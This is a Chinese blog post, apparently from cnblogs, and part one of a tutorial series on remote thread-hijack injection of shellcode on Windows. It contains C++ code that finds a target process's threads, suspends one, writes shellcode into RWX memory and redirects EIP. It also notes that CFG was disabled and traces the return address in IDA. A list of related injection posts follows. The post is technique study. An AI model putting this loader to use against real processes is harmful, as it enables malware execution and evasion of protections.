windows:shellcode 远程线程hook/注入(一)
https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式:hook 线程;
先说第一种思路,如下:

核心代码解析如下:
1、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;
#include <windows.h>
#include <stdio.h> int main()
{
printf("dead looping...............\n");
while (TRUE)
{ }
}
注意:本人测试环境:

win10 x64为了确保安全,默认增加了很多防护,比如控制流防护CFG,编译的时候需要手动改成否,才能让我们注入的shellcode顺利执行;

2、遍历进程,找到目标进程后再遍历该进程名下其他线程:
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, );
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != ) {
//while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
} victimProcess = OpenProcess(PROCESS_ALL_ACCESS, , processEntry.th32ProcessID); if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
} for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
if (Wow64SuspendThread(threadHandle) == -) //挂起线程失败
{
continue;
}
printf("threadId:%d\n", threadId);
if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
{
printf("threadID = %d inject success!", threadId);
CloseHandle(victimProcess);
CloseHandle(threadHandle);
break;
}
}
3、shellcode代码注入,思路也简单:之前已经已经拿到目标进程和目标线程的句柄,并且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址即可;
BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellAddress == NULL)
{
printf("VirtualAlloc Error\n");
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE );
ResumeThread(hThread);
return FALSE;
} WOW64_CONTEXT ctx = { };
ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx))
{
int a = GetLastError();
printf("GetThreadContext Error:%d\n", a);
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
ResumeThread(hThread);
return FALSE;
}
DWORD currentEIP = ctx.Eip;
if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == )
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("write shellcode error\n");
ResumeThread(hThread);
return FALSE;
}
ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
if (!Wow64SetThreadContext(hThread, &ctx))
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("set thread context error\n");
ResumeThread(hThread);
return FALSE;
}
ResumeThread(hThread);
return TRUE;
}
效果:弹出了messagebox:

也在目标进程的目录下生成了文件:

4、最后做一些总结:
- 为了让被注入的目标进程一直运行,刚开始用了sleep,从process hacker看能正常suspend,但无法resume,shellcode也无法执行;后来改成死循环,能正常执行shellcode了;
- shellcode执行完后,从打印的数据来看,貌似又从main开始运行,如下:

从process hacker看,线程并未改变,还是之前的那个:

那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节作为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,如下:

好在自己写的测试进程不复杂,很容易找到答案,分析如下:
(1)由于cpu执行速度很快,注入shellcode的进程(以下简称loader)在执行suspendThread时大概率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,所以shellcdoe执行完后ret的地址肯定不是while循环更改的;
(2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码如下:

从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp重新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;

这里也能看到栈顶是EntryPoint的地址:

5、 这次注入shellcode虽说成功,问题也很明显:
- 手动关闭了CFG检查,但实际情况是CFG默认是开启的,导致shellcode可能无法执行
- 没有设置返回地址,shellcode执行完,返回地址无法控制(这里只是凑巧回到了原EntryPoint);因suspendThread是随机的,context的eip也是随机的,所以shellcode执行完后返回地址也是随机的,这点在shellode无法写死,只能动态获取;我曾经尝试在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通过字符串操作的时候可能会被截断,暂时没想到好的解决办法;
- 类似explorer这种系统进程,GetThreadContex大概率会失败,可能做了保护;
后续会通过其他方案挨个解决这些问题!
windows:shellcode 远程线程hook/注入(一)的更多相关文章
- windows:shellcode 远程线程hook/注入(三)
今天介绍第三种远程执行shellcode的思路:函数回调: 1.所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开 ...
- windows:shellcode 远程线程hook/注入(二)
https://www.cnblogs.com/theseventhson/p/13218651.html 上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...
- windows:shellcode 远程线程hook/注入(五)
前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...
- windows:shellcode 远程线程hook/注入(四)
https://www.cnblogs.com/theseventhson/p/13236421.html 这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...
- 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。
windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...
- 使用远程线程来注入DLL
使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...
- 【windows核心编程】远程线程DLL注入
15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...
- 实现远程线程DLL注入
### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...
- Dll注入:X86/X64 远程线程CreateRemoteThread 注入
远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...
随机推荐
- 三色二叉树——树形dp
三色二叉树 题目描述 一棵二叉树可以按照如下规则表示成一个由 \(0.1.2\) 组成的字符序列,我们称之为"二叉树序列 \(S\) ": \(0\) 该树没有子节点. \(1S_ ...
- node子进程(Child Process)获取硬盘分区
node child_process文档 child_process.exec(command[, options][, callback]) command <string> The ...
- Scala 基础(十一):Scala 函数式编程(三)高级(一)偏函数、作为参数的函数、匿名函数、高阶函数
1 偏函数 1)在对符合某个条件,而不是所有情况进行逻辑操作时,使用偏函数是一个不错的选择 2)将包在大括号内的一组case语句封装为函数,我们称之为偏函数,它只对会作用于指定类型的参数或指定范围值的 ...
- web 部署专题(零):web相关概念以及原理
1.什么是 nginx Nginx 是高性能的 HTTP 和反向代理的服务器,处理高并发能力是十分强大的,能经受高负载的考验,有报告表明能支持高达 50,000 个并发连接数. 2.正向代理 (1)需 ...
- Xamarin.Android调用百度地图
下载百度地图API Android SDK 在Visual Studio中创建绑定库(Android)项目 将jar文件添加到Jars文件夹中 生成该项目,如果遇到变量名称之类的问题,可在Transf ...
- CSS背景处理
CSS背景处理 背景样式 背景颜色 如果想让一个区域具有纯色的背景,可以使用background-color进行设置,背景颜色可以是rgb,rgba,#16网页色. <!DOCTYPE html ...
- 6 个珍藏已久 IDEA 小技巧,这一波全部分享给你!
每周趣图 产品经理设计体验/用户实际体验 本周就不写技术分析文章了,分享几个珍藏已久的 IDEA 的「骚技巧」,助你快速完成代码. 还等什么?赶紧上车吧...... 先赞后看,养成习惯.微信搜索「程序 ...
- ubuntu 下安装QQ TIM QQ轻聊版 微信 Foxmail 百度网盘 360压缩 WinRAR 迅雷极速版
第1步,安装deepin-wine环境:上https://github.com/wszqkzqk/deepin-wine-ubuntu页面下载zip包(或用git方式克隆),解压到本地文件夹,在文件夹 ...
- 使用 maven 创建项目模板
前言 配置 demo 工程 生成模板 生成项目 上传模板到仓库 参看链接 前言 微服务的概念越来越流行,随着服务粒度越来越细,拆分的模块越来越明确,我们的工程项目也变得越来越多. 有时候一个项目搭建, ...
- Ethical Hacking - NETWORK PENETRATION TESTING(16)
ARP Poisoning - MITMf MITMf is a framework that allows us to launch a number of MITM attacks. MITMf ...